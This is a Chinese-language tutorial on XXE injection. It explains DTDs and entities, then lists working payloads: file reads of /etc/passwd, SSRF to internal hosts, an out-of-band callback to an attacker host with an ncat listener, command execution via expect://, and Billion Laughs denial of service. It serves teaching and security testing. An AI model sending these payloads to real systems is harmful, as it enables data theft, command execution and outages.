XXE(XML External Entity Injection)——XML外部实体注入
XML外部实体注入
XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
需要了解的知识:DTD和外部实体
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD的作用:
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
实体
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别
实体按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities
※※※参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [ <!ENTITY name "nMask">]><foo> <value>&name;</value> </foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name;]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
XXE利用及payload
文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>
文件读取的利用和payload非常好理解,即使用file协议读取文件内容,并输出到页面上(有回显的情况)。
SSRF
XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]><foo>&xxe;</foo>
当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。
众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。关于ncat的使用:ncat-网络工具中的‘瑞士军刀’
用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)
之后便可使用以下语句尝试是否能够建立连接:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [ <!ELEMENT data (#PCDATA)> ]><data>4</data>
如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。
RCE
在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>
DDoS
支持实体测试:
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY a0 "dos" ><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]><data>&a2;</data>
如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
Billion Laughs 攻击
一个经典的Dos攻击payload:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
当XML解析器加载该文档时,它会看到它包含一个根元素“lolz”,该元素包含文本“&lol9;”。然而,“&lol9;”是一个已定义的实体,它扩展为包含十个“&lol8;”字符串。每个“&lol8;”字符串都是一个已定义的实体,可以扩展到10个“&lol7;”字符串,以此类推。在处理完所有的实体扩展之后,这个小(小于1 KB)的XML块实际上将包含109 = 10亿个“lol”,占用了将近3 gb的内存。